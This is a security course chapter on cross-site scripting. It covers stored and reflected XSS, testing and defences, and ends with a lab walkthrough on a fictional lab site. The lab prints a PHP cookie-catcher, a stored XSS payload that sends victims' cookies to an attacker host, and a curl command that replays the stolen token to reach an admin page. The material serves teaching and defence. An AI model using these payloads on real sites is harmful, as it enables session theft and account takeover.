# Cross-Site Scripting

Cross-site Scripting (XSS) attacks target end-users by exploiting server weaknesses that don't check input or output properly. Unlike command injection attacks, which target the server itself, XSS attacks let attackers run malicious code on a user's browser or insert harmful HTML into web pages. XSS is a common vulnerability on both Windows and Linux/UNIX web servers.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FGr2OxngzWHsrV7Q5hbNe%2FScreenshot(36).png?alt=media&#x26;token=1b2c8d05-1b4b-4ab7-8095-aacfc868dade" alt=""><figcaption></figcaption></figure>

In the example shown, an attacker uses an XSS attack by uploading harmful content to a vulnerable server. The server saves this harmful content and sends it back to anyone who visits the site. When a user visits the site, the server sends the harmful code along with other content, causing the user's browser to run the malicious code and potentially compromise their session.

## Attacker Opportunity

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FA1g8nu2v9J3rTNlXXW6Q%2FScreenshot.png?alt=media&#x26;token=c1727d26-2775-4e3a-9ca7-d060e069ed3c" alt=""><figcaption></figcaption></figure>

To understand XSS attack risks, we need to know how browsers and websites trust each other. Browsers are powerful and handle many tasks like managing logins and using plugins. When a user asks a website for a page, the browser follows the website's instructions, which can include actions like recording video or sending authentication tokens.

In short, if a server asks a browser to send sensitive info like a cookie to another server, the browser will do it because it trusts the server. In an XSS attack, an attacker tricks the server into sending malicious code to the victim. The victim’s browser, thinking the code is safe, sends their cookie to the attacker.

## Stored Cross-Site Scripting Attack

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FEsceyz4QQqDcuvgHrTjY%2FScreenshot(1).png?alt=media&#x26;token=5dd6f310-8246-4182-a881-811355333624" alt=""><figcaption></figcaption></figure>

In a stored XSS attack, an attacker uploads harmful code to a server that doesn’t check inputs properly. When users visit the affected page, they see the attacker’s malicious content.

* An attacker uploads harmful code in their author bio on a book seller's site.
* The site saves this code, often in a database or file.
* When a victim views the bio page, the harmful code is sent to their browser.
* The victim's browser runs the code, which might steal their authentication cookies for the attacker

Stored XSS attacks are opportunistic. They don’t target specific users; instead, anyone who visits the affected page runs the attacker's code. This code can run quietly, so victims often don’t realize they’re being attacked, making these attacks very effective.

## Reflected Cross-Site Scripting Attack

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FOl5JycDp7Ca4Cl0hmwdv%2FScreenshot(3).png?alt=media&#x26;token=28fc503f-30a9-4777-bbdd-3e201eb4b08c" alt=""><figcaption></figcaption></figure>

In a reflected XSS attack, an attacker finds a weakness in how a website handles input from HTTP GET requests. For example, if a site shows search terms directly, an attacker can trick the site into displaying malicious code, such as `<script>alert(1);</script>`. This code gets executed in the victim's browser, making the site vulnerable to XSS.

Here's a very simplified version:

1. The attacker creates a link to exploit a weakness on a book seller website.
2. They send this link to the victim.
3. When the victim clicks the link, they visit the vulnerable website.
4. The website runs the attacker's code, which may steal the victim's authentication token.

Reflected XSS attacks target specific people by tricking them into clicking a special link. The attack only works when the victim clicks the link; just visiting the vulnerable page won’t trigger the attack. Social engineering is often used to persuade victims to click the link.

## Reflected XSS Phishing Link Example

Reflected XSS attacks trick users into trusting a fake website. For example, a phishing email might look like it’s from a trusted site, but it’s actually fake. Users are advised to check if the link matches the trusted site’s domain. Even if the link seems right, it might still be malicious, using JavaScript to attack the victim's system.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fi9nkQqORDiayp8RKGVvX%2FScreenshot(4).png?alt=media&#x26;token=23b51a12-f783-4237-a17c-5a45286247c4" alt=""><figcaption></figcaption></figure>

## What Can An Attacker Do With XSS?

We've looked at some XSS vulnerabilities, so it's crucial to know what attackers can do with them. Online, you might see examples where the code `<script>alert('XSS');</script>` shows a vulnerable page. While this confirms the page is vulnerable, it doesn't fully explain what attackers can actually do with XSS.

In an XSS attack, hackers can run their own JavaScript in a victim's browser. This allows them to make fake login forms, steal passwords, log keystrokes, capture screenshots, scan networks, or even access the victim's camera and microphone. They can also use it to install tools like cryptominer scripts.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FIg7GkCYSEd7jfzHRx4ZS%2FScreenshot(5).png?alt=media&#x26;token=92912a91-a116-4111-a11e-19fa42ededb9" alt=""><figcaption></figcaption></figure>

A common XSS attack steals an authentication token from the victim. The JavaScript in this attack redirects the victim’s browser to a page controlled by the attacker, adding the current cookies. The attacker’s PHP script then saves this information to a file on their server.

```bash
$ cat index.php
<html><?php file_put_contents("cookies.log", json_encode($_GET)."\n",
FILE_APPEND); ?></html>
$ php -S 0.0.0.0:80
```

## Testing for XSS

To check for XSS vulnerabilities, look for places where data is sent to and shown by the server. This includes form fields, database outputs, and DNS names. Test by entering HTML tags like `<hr>` into form fields to see if they are displayed, encoded, or ignored. Also, try different variations with quotes and symbols to see how the server handles them.

Web apps often use input filters to prevent XSS attacks. By injecting the string `'';!--"<XSS>=&{()}` and checking the response, you can see which characters are allowed. For instance, if the server encodes the string to `'';!--"&lt;XSS&gt;=&amp{()}`, it shows some characters are filtered. Despite this, attackers can still exploit vulnerabilities by using scripts in existing tags, like `SRC=javascript:alert('XSS');`.

Automated testing tools are great for consistently testing web apps, whether they're big or small. Free options like ZAP Proxy, Wapiti, and Arachni can check for XSS vulnerabilities. Burp Suite is popular but needs a paid license, and Acunetix is another paid tool for finding vulnerabilities.

## Cross-Site Scripting Defense

To protect against XSS attacks, we must carefully filter user input and encode output. Filtering dangerous characters helps, but mistakes can still leave vulnerabilities. Also, encoding meta characters (like turning `&` into `&amp;`) prevents them from being misinterpreted by browsers.

Use third-party libraries to handle input filtering and output encoding automatically, like OWASP Java Encoder for Java, HTML Purifier for PHP, or Joi for Node.js. Choose web frameworks that automatically manage these tasks, and check their vulnerability history and patch response times. Avoid frameworks with slow updates to vulnerabilities.

If you can't fix an XSS flaw in your app's code, use a Web Application Firewall (WAF) to help protect against attacks. Both paid WAFs and the free ModSecurity library for Apache, IIS, and Nginx can help. Though fixing the code is better, a WAF is a good alternative if you can't fix the app.

To protect against XSS attacks, set web server response headers to mark cookies as HttpOnly. This makes cookies unreachable from JavaScript, preventing attackers from accessing them. Note that this may affect some apps that need JavaScript access to cookies, so test before using it.

Use the Content Security Policy (CSP) header to control where resources like JavaScript and images can be loaded from. For example, you can set it so that these resources only come from your own site. This helps block unauthorized sites from loading harmful content. If a CSP-capable browser detects an attack, it can report the issue using the CSP report-uri feature, sending details to a specified URL like `https://server.tld/cspreport`.

Setting up a Content-Security-Policy (CSP) correctly to make sure an app works well and stays secure can be tricky. Many websites have a CSP that doesn’t actually improve security, so just having a CSP header doesn’t mean it's doing its job. Review the CSP carefully and use resources like [content-security-policy.com](https://content-security-policy.com) and [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) to help create an effective policy.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FtQ2xdkDgdzmRGdThQMdB%2FScreenshot(6).png?alt=media&#x26;token=729652d1-3524-4da0-bcbe-f025d8eeb8bf" alt=""><figcaption></figcaption></figure>

## Lab 4.4: Cross-Site Scripting Attack

In this lab we will continue to explore the Rook Aviary website as part of the due diligence evaluation prior to acquisition by Falsimentis, Corp. This time we will identify and exploit vulnerabilities relating to a Cross-Site Scripting (XSS) attack.

Let's navigate to the Rook Aviary site at **<http://www.rookaviary.com>**.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fl7fXwRXnKRp3vBALJjFm%2FScreenshot.png?alt=media&#x26;token=c9f4db1e-41f9-4cdc-a8a5-f3cdea7c1308" alt=""><figcaption></figcaption></figure>

First, let's check the Search page by clicking the Search link in the menu.&#x20;

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F54uH7LgMn6sfGwrUOeXO%2FScreenshot(1).png?alt=media&#x26;token=f871c0ed-acd6-4a99-aad0-635ac1d75dc1" alt=""><figcaption></figcaption></figure>

Let's type a search term like "Hello" and click "Submit." We’ll see a message saying "No results for Hello."

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FYTWYx1gWwJpriqEo4jqR%2FScreenshot(2).png?alt=media&#x26;token=1f48a68d-370a-41ec-821d-813419008856" alt=""><figcaption></figcaption></figure>

At first, it looks like nothing was found for the search term "Hello." But what's interesting is that the website search page includes the term we searched for in the results (showing "No results for Hello").&#x20;

Let's enter another search term, this time using the string \<hr>Hello\</hr>.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FDwPtFBR2Rp4NXgJCnUIW%2FScreenshot(3).png?alt=media&#x26;token=3eae24e2-e7da-4b45-8879-a4b6eec3cf0d" alt=""><figcaption></figcaption></figure>

The search response no longer shows the search term and stops with "No results for." We also notice a dark horizontal line on the webpage.

The dark horizontal line is the `<hr>` tag. It shows up in the browser instead of being hidden by the website, indicating an XSS vulnerability.

To check if the server is vulnerable to XSS, let's look at the page source. Right-click the page and choose "View Page Source."

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FY0sEegSsr8B2Q7kIoDT7%2FScreenshot(4).png?alt=media&#x26;token=ac8c3051-796c-4d53-b833-44f76f705e5b" alt=""><figcaption></figcaption></figure>

Let's try a payload like this `<script>alert(1)</script>` .

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fe4rrEvaBTI49jIyw6Tqy%2FScreenshot.png?alt=media&#x26;token=c1bcddba-5993-499b-bfe2-803975bcf824" alt=""><figcaption></figcaption></figure>

We've found a reflected XSS vulnerability on the Rook Aviary Services search page. This type of XSS happens when a crafted URL makes the site display harmful content. An attacker would send this malicious URL through email, SMS, or other methods to exploit it, but it requires extra steps. We're not finished yet.

Next, we'll explore a stored XSS vulnerability on the same site.

Let's go to the Leave Feedback page. We'll type the same `<hr>` string in the Comment box.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FHWWjebEL4IDxGMSpHMP1%2FScreenshot(1).png?alt=media&#x26;token=8ee8cb2b-17f9-4082-8309-c755012473ee" alt=""><figcaption></figcaption></figure>

We will see the response message New record created successfully.

The Rook Aviary Services website lets us view submitted feedback on the "View Feedback" page. There's little content except our own feedback, but a horizontal line appears. Like the Search page, this one doesn’t filter inputs, allowing an attacker to exploit a stored XSS vulnerability by submitting harmful content.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F22QQaNDIoLncCo3ecTuq%2FScreenshot(2).png?alt=media&#x26;token=059c6f87-8dda-427b-a3c4-448669496083" alt=""><figcaption></figcaption></figure>

Let's try using this payload `<script>alert(1)</script>` on the Leave Feedback page to see what happens.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FOFaeuREJDJ5mvmvuI26x%2FScreenshot(3).png?alt=media&#x26;token=1fc3f361-cc8c-4e58-8edd-f6795d3d2608" alt=""><figcaption></figcaption></figure>

The View Feedback page is a stored XSS because the malicious content is saved on the server and shown to users. Unlike reflected XSS, where the attacker sends a harmful link, here, any user who visits the page will see the attacker's content, making it a more dangerous attack.

We now need to exploit this vulnerability to steal a session cookie. Here’s a quick summary of the steps involved:

* Open a cookie catcher web process to catch the connection from the victim user.
* Craft a malicious URL.
* Submit the malicious URL to the victim.

We have a PHP script that saves cookie content in JSON format to a file called `cookies.log`. Let's show the contents of the `index.php` file in the `cookiecatcher` directory as seen here.

```bash
cat index.php
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FaRRnL8KUWwLXXBINIwgd%2FScreenshot(4).png?alt=media&#x26;token=9f815850-317b-4d31-b936-f865315c33f3" alt=""><figcaption></figcaption></figure>

This PHP script saves all the data sent by the victim in a GET or POST request (using $\_GET or $\_POST) to a file called "cookies.log." It also records any header information from the victim's browser. To run it, let's start the PHP web server on TCP port 2222.

```bash
php -S 0.0.0.0:2222
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fk1Ka5SZ0bp4vV1gR0yu4%2FScreenshot(6).png?alt=media&#x26;token=e34c07fe-075e-4ec6-8a02-e02b440ed0f0" alt=""><figcaption></figcaption></figure>

The PHP web server will act as a capture source to collect information from the victim browser.

Let's go to the website's Leave Feedback menu. In the Comment field, let's enter this string:

```bash
<script>document.location='http://10.10.75.1:2222/?'+document.cookie;</script>
```

* document.location='<http://10.10.75.1:2222/>?' –> Change the victim's web browser to navigate to the attacker cookie catcher on port 2222
* +document.cookie; –> Append the victim's cookie values to the end of the URL sent to the attacker cookie catcher

Let's go back to the terminal where our cookie catcher web server is running and check the content that the victim has sent.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FZpHcfJt6mtBCKzQb5eMu%2FScreenshot(7).png?alt=media&#x26;token=c188283f-e867-48c7-aa85-31265fd335c8" alt=""><figcaption></figcaption></figure>

The cookie catcher has captured a cookie with the value `77ba9cd915c8e359d9733edcfe9c61e5aca92afb`. This is visible in the GET request line after the `/` and `?` characters, which are added by the attack JavaScript when it appends `document.cookie` to the URL.

The `cookies.log` file records data sent by the victim's browser in JSON format. We can view this file's contents using the `cat` command, as shown here.

```bash
cat cookies.log
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F36deQVDmRlFLxbD6WIGP%2FScreenshot(8).png?alt=media&#x26;token=c40296d6-e1c0-4069-8d21-790925bb1e6a" alt=""><figcaption></figcaption></figure>

The output is hard to read, but we can use the `jq` tool to format it nicely and add color, making it easier to understand.

```bash
jq "." cookies.log
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FIsS7PM2RKbX7tQcaLIsb%2FScreenshot(9).png?alt=media&#x26;token=e3a4a307-43dc-4477-b649-43f5d3dd8a1f" alt=""><figcaption></figcaption></figure>

The victim sent an HTTP GET request with a parameter called `authtoken` and its value. There’s nothing in the POST section because the request was a GET request, not a POST. The browser’s request headers are included, showing the full user agent information.

Next, we'll examine how an attacker might use the stolen cookie data.

To escalate access to the admin page on the target site, we’ll use the stolen victim cookie. We’ll do this by sending an HTTP request with the cURL tool. Let's use the `-b` option with cURL to include the stolen cookie value and target the admin page URL.

```bash
curl -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb "http://www.rookaviary.com/admin.php"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FR1ifzxmgvXJco6JYQfKd%2FScreenshot(10).png?alt=media&#x26;token=2a4684df-deb6-46ee-bce6-588e6b0a0fab" alt=""><figcaption></figcaption></figure>

The curl command output shows that we successfully accessed the admin page using the stolen cookie.

We can use Firefox browser developer tools to change the cookie value instead of using cURL and separate requests.

Let's go back to Firefox and go to the Rook Aviary admin page. Open the Web Developer Tools by pressing Ctrl+Shift+K. This will show new tabs at the bottom of the browser. We'll click on the Storage tab.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FgBtqPMzo2ioblTgpYO7y%2FScreenshot(12).png?alt=media&#x26;token=123c9455-8241-4650-80f1-2a233e34bdb3" alt=""><figcaption></figcaption></figure>

In the Storage tab of Firefox, we’ll see the cookie authtoken listed under Cookies. Let's double-click the cookie value, then press CTRL+V to paste the new value from the clipboard into the box and hit Enter. The updated cookie value will now show next to the authtoken cookie name.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FuSdQmqEXDoduNXWT0VUw%2FScreenshot(13).png?alt=media&#x26;token=e1a4d57a-607a-4507-b3aa-54f87b2b28c4" alt=""><figcaption></figcaption></figure>
